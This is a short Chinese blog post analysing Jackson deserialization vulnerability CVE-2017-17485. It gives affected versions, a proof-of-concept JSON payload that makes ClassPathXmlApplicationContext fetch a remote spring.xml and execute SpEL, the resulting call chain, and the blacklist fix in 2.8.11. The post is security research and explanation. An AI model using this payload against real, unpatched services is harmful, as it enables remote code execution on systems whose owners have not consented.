Jackson CVE-2017-17485 反序列化漏洞
迪丽瓦拉
2024-05-28 20:53:51
0

0x00 前言

同CVE-2017-15095一样,是CVE-2017-7525黑名单绕过的漏洞,主要还是看一下绕过的调用链利用方式。

可以先看:

  • Jackson 反序列化漏洞原理

或者直接看总结也可以:

  • Jackson总结

涉及版本:2.8.10和2.9.x至2.9.3

0x01 环境搭建

        com.fasterxml.jackson.dataformatjackson-dataformat-xml2.8.10org.springframeworkspring-context5.3.23

0x02 调用链分析

poc:

"{\"object\":[\"org.springframework.context.support.ClassPathXmlApplicationContext\",\"http://127.0.0.1:8008/spring.xml\"]}";

首先来看调用链:org.springframework.context.support.ClassPathXmlApplicationContext,可以通过这个调用链来加载远程的SpEL表达式,从而达到执行任意代码执行的目的。

Jackson可以调用带有参数的构造方法,这里调用的是: ClassPathXmlApplicationContext(String configLocation)
在这里插入图片描述最终会调用到此处:ClassPathXmlApplicationContext,setConfigLocations用来配置本地化信息
在这里插入图片描述重点在refresh位置,通过obtainFreshBeanFactory远程加载文件
在这里插入图片描述通过finishBeanFactoryInitialization执行SpEL表达式
在这里插入图片描述之后就是加载单列beam,会对SpEL的内容进行解析,从而触发想要执行的内容。

0x03 修复

在2.8.11版本的时候,将黑名单挪到了src\main\java\com\fasterxml\jackson\databind\jsontype\impl\SubTypeValidator.java,同时增加了部分的黑名单。

实际上除了以上的调用链,也可以通过如下的调用链进行尝试和利用:
在这里插入图片描述

相关内容